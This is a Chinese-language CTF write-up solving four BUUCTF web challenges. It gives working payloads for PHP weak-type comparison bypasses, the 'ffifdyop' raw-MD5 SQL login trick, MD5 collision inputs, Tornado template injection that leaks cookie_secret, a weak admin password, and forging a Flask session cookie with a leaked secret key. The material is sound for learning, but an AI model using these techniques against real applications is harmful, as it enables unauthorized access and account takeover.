题源BUUCTF。

[极客大挑战 2019]BuyFlag

原始信息

两个页面:index.php和buy.php

源码信息和页面信息

<!--
~~~post money and password~~~
if (isset($_POST['password'])) {
$password = $_POST['password'];
if (is_numeric($password)) {
echo "password can't be number</br>";
}elseif ($password == 404) {
echo "Password Right!</br>";
}
}
-->


旗帜
旗帜需要你1亿的钱
注意力
如果您想购买 FLAG:
你一定是CUIT的学生!!!
您必须回答正确的密码!
只有 Cuit 的学生可以购买 FLAG

解题

参数:password

很明显,是弱类型对比。纯数字是无法通过password的过滤的,想要通过过滤只能在后面加上任意字符串,其实加个英文就行。

注意,这是个POST参数。

password=404a

必须是某某学生,看数据包的时候发现一个特殊的参数,实验的改了下,改为1:

Cookie: user=1

最后还有要求多少多少钱,因为之前要求的数字貌似太长了,这里我实验了下,使用下面的参数行得通:

money=10000e8

拼凑成为完整数据包就是:

POST /pay.php HTTP/1.1
Host: 575addaa-0171-4473-ade7-5cb1cf3fe4a8.node4.buuoj.cn:81
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: user=1
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 27

password=404a&money=10000e8

放行就得到flag了。

[BJDCTF2020]Easy MD5

原始信息

不多,一个输入框,一个题目的md5提示,其它就没了。

解题

第一步当然是扫一遍目录,没什么结果,毕竟不是寻常文件。

第二,观察leveldo4.php的返回结果,在数据包的包头发现:

HTTP/1.1 200 OK
Server: openresty
Date: Wed, 02 Aug 2023 16:36:41 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Hint: select * from 'admin' where password=md5($pass,true)
X-Powered-By: PHP/7.3.13
Content-Length: 3107


# 抽取关键信息:
Hint: select * from 'admin' where password=md5($pass,true)
# 面对这个md5($pass,true),需要使用特殊的md5值ffifdyop传入即可
# 这里漏了个信息:输入框提交的变量正是password,且是get请求。

传入特殊md5的ffifdyop后,在返回信息的末尾找到了一个关键信息:

<script>window.location.replace('./levels91.php')</script>

#尝试访问 levels91.php 网页,发现了下面讯息:
<!--
$a = $GET['a'];
$b = $_GET['b'];

if($a != $b && md5($a) == md5($b)){
// wow, glzjin wants a girl friend.
-->
# 这是md5的弱类型比较,传入任意个mad5加密后0开头的参数即可。
/levels91.php?a=s155964671a&b=s878926199a
# 结果返回值再一次出现了那个东西:
<script>window.location.replace('./levell14.php')</script>

#访问下 levell14.php 文件,发现了个强类型对比的md5.

<?php
error_reporting(0);
include "flag.php";

highlight_file(__FILE__);

if($_POST['param1']!==$_POST['param2']&&md5($_POST['param1'])===md5($_POST['param2'])){
echo $flag;
}


// 这里有两条路能走,一是找payload:
param1=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2&param2=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2
// 二是自己做payload:我不会强类型
有时间再试试能不能自己搞一个这样特殊的payload咯

上面最后一步,查回包就能解flag了。

[护网杯 2018]easy_tornado

原始信息

这题的原始信息很多

主页面:
URL内容:基本没什么
网页内容:
/flag.txt
/welcome.txt
/hints.txt

/flag.txt
URL内容:
/file?filename=/flag.txt&filehash=fa5cd6c5621e793773fd7e8d19aa4a94
网页内容:
/flag.txt
flag in /
Etag:"288c273b03dd3dcfb65fc8fe8146175d29ef3ee8"

/welcome.txt
URL内容:
/file?filename=/welcome.txt&filehash=4ea3538bdb909228d22c79e984ad0e5e
网页内容:
/welcome.txt
render

/hints.txt
URL内容:
/file?filename=/hints.txt&filehash=e4bf126570cbda270168b6f6236a23b5
网页内容:
/hints.txt
md5(cookie_secret+md5(filename))

模板漏洞,纯dirmap扫扫不出结果。

解题

假设如果真的要按着题目的要求来的话,那我们得这么操作:

根据提示,我们读取的flag是在 /fllllllllllllag
如果按照url的模板来看,就是:
/file?filename=/fllllllllllllag&filehash=指定的md5
至于指定的md5是什么,应该是:
md5(cookie_secret+md5(‘/fllllllllllllag’))
如果真是如此,那么要求出的变量就剩下一个:
cookie_secret
其他提示词倒是一时间没瞧出门道
render()函数 一时间没想到解决办法

控制某head部分的东西:
If-None-Match: "d3bd0459f2b2bc2bc0a40296d16e1b85170135df"
这个虽然有点控制作用,但实际上,依然会经过md5的判断,只是将判断的位置挪到了数据包head的位置而已。

那问题来了,这个cookie_secret怎么求?

还有一个办法,尝试将这个作为伪协议,但是一番尝试以失败告终。

这里强烈推荐一个大哥的博客,下面的验证取材于他。

提示信息中的render提示的是模板漏洞,百度搜索出来的是:
Python
render()函数是 Django 中的渲染。

1.优先测试模板漏洞:error?msg={{1}}
2.再尝试返回:error?msg={{handler.settings}}
这样子就得到了我们想要的参数:
{'autoreload': True, 'compiled_template_cache': False, 'cookie_secret': '28b9ad77-5135-4e82-9002-63a9efecd948'}
3.加密解出需要用到的md5字符串:
$a= '28b9ad77-5135-4e82-9002-63a9efecd948'.md5('fllllllllllllag');
echo md5($a);
f6a196d2ae4d1af681dce5bf24b95ac8

这个时候,放包传参就得到了flag:

http://xxx.xxxx.com/file
?filename=/fllllllllllllag
&filehash=7068fd0e27b23d35e933099e7d314fcc

难点

这道题的难点就是Python的Django 框架,要对这个框架有所了解,否则真的是一点头绪都没有。
暂时不知道如何识别这种模板或者搭建的语言框架,目前的某个东西也识别不出来这个模板。

总结

web Python Django模板漏洞render。其他都属于表面信息,直接挖掘。

[HCTF 2018]admin

原始信息

题目给出时除了登录框,没扫出其他页面,也没识别是什么框架,可能是我太菜了吧。

尝试注册一个用户后,查看页面:
/index, /logout , /change , /edit

尝试使用用户名注入,失败
尝试使用修改密码修改到指定的admin,失败

看注释:
/index
<!-- you are not admin -->
/change
<!-- https://github.com/woadsl1234/hctf_flask/ -->(这个注释的git没了)

这道题,白盒源码缺失,做不了白盒审计。

解法1:弱口令登录

起初我并不相信这东西存在弱口令,后来实在是没路了,试了下:
admin
123

登录上去,直接看到了flag。

这有一定的运气成分,不太可取。

解法2:session欺骗

参照某位大佬的解法

实在是有些不敢相信,所以开始寻找第二种解法:

解cookie,替换掉其中的用户名并且放行回去。

解码工具点我

源码:不要相信上面题目给出的地址,点我前往没废掉的git地址得到本题源码。

找源码费了点功夫。

首先,我们自己随便注册个用户
随后,截取数据包时,我们发现了一个极为特殊的session,使用md5和普通的jwt根本解不出来。
Cookie: session=.eJw9kEGLwjAQhf_KMmcPVduL4EHRBgszpZJuSC7ibqtt0nGhKqUR__tGF_b0Dm_mm_fmAYdTX18bWNz6ez2BQ1vB4gEfX7AAtEWCm6pDpSOUpSeVNSiKGCW1WuqIfMXIejQ264w9D5o_G_R7Z2TFudrNSe5iFDhFZTpkTGimY7SrkUQ50sYlRmXWyJRzmXZkw67du1wUMyP0lFRqw3xEs6CsPdkiQpGxVmmTy71F62LcuBFVOWi_XcJzAt_X_nS4_bj68l_hhQ5nWpTrRksKMSs2Al_RHdksYNad4XIgLr1WODe89bhavnEtH8_1P6kuzwkNf87lyMGA-7XuYfKW99tgGsHzFxECbX4.ZMu1xw.CJC8tQ8BnNKGX4rk-j4qYknh0DY

#要使用工具前,必须先把源码找出来:
# 源码:
__init__.py code.py* config.py forms.py models.py 'routes 2.pyc' routes.pyc templates/
__init__.pyc code.pyc config.pyc forms.pyc models.pyc routes.py* static/
# 找到里面的config.py并且把文件内容取出,就能得到key。config一般都是配置文件。
import os
class Config(object):
SECRET_KEY = os.environ.get('SECRET_KEY') or 'ckj123'
SQLALCHEMY_DATABASE_URI = 'mysql+pymysql://root:adsl1234@db:3306/test'
SQLALCHEMY_TRACK_MODIFICATIONS = True
#其中的key就是:ckj123

使用工具解码修改并且加密回去:
# 借用某个工具解码session,工具再上面贴出来了。
# 之前看题解的时候,发现某些大佬没给它加上key就直接解码了,这样子显然时极为不妥当的。
[sywsec ~]$ python flask_session_cookie_manager3.py decode -s "ckj123" -c ".eJw9kEGLwjAQhf_KMmcPVduL4EHRBgszpZJuSC7ibqtt0nGhKqUR__tGF_b0Dm_mm_fmAYdTX18bWNz6ez2BQ1vB4gEfX7AAtEWCm6pDpSOUpSeVNSiKGCW1WuqIfMXIejQ264w9D5o_G_R7Z2TFudrNSe5iFDhFZTpkTGimY7SrkUQ50sYlRmXWyJRzmXZkw67du1wUMyP0lFRqw3xEs6CsPdkiQpGxVmmTy71F62LcuBFVOWi_XcJzAt_X_nS4_bj68l_hhQ5nWpTrRksKMSs2Al_RHdksYNad4XIgLr1WODe89bhavnEtH8_1P6kuzwkNf87lyMGA-7XuYfKW99tgGsHzFxECbX4.ZMuvaw.MmVnJ7JS408TcO1RoN7tjh93fAM"

{'_fresh': True, '_id': b'24907e1f41535ba0d813ba6477f2f2f2ef80bea34de7f9b75280c51fe2c97f82024e2499ebce1f91e65a24d8d6df55ac7f47ac6f36440bfaaa94c2980921e0c1', 'csrf_token': b'91eebb10aa3ef7fdc477d62c20efe06e3ac7fa30', 'image': b'yH97', 'name': 'user', 'user_id': '10'}

[sywsec ~]$ python flask_session_cookie_manager3.py encode -s "ckj123" -t "{'_fresh': True, '_id': b'24907e1f41535ba0d813ba6477f2f2f2ef80bea34de7f9b75280c51fe2c97f82024e2499ebce1f91e65a24d8d6df55ac7f47ac6f36440bfaaa94c2980921e0c1', 'csrf_token': b'91eebb10aa3ef7fdc477d62c20efe06e3ac7fa30', 'image': b'yH97', 'name': 'admin', 'user_id': '10'}"

.eJw9kEGLwjAQhf_KMmcPVduL4EHRBgszpZJuSC7ibqtt0nGhKqUR__tGF_Y0hzfzvffmAYdTX18bWNz6ez2BQ1vB4gEfX7AAtEWCm6pDpSOUpSeVNSiKGCW1WuqIfMXIejQ264w9D5o_G_R7Z2TFudrNSe5iFDhFZTpkTGimY7SrkUQ50sYlRmXWyJRzmXZkw63du1wUMyP0lFRqw35EszBZe7JFhCJjrdIml3uL1sW4cSOqctB-u4TnBL6v_elw-3H15b_CCx1sWpTrRksKMSs2Al_RHdksYNad4XIgLr1WODe89bhavnEtH8_1P6kuzwkNf8rlyEGAY8XtBSZwv9b9-28wjeD5C35lbcg.ZMu1vA.ezFr62kO6xJrDivKYBxYg9p0_IM

#BP抓包并且重发数据包,就得到了flag了。

解码不需要使用密码,但是加密回去时需要key。

原始的那个靶场指定的flask已经寄了,所以暂时只能放弃。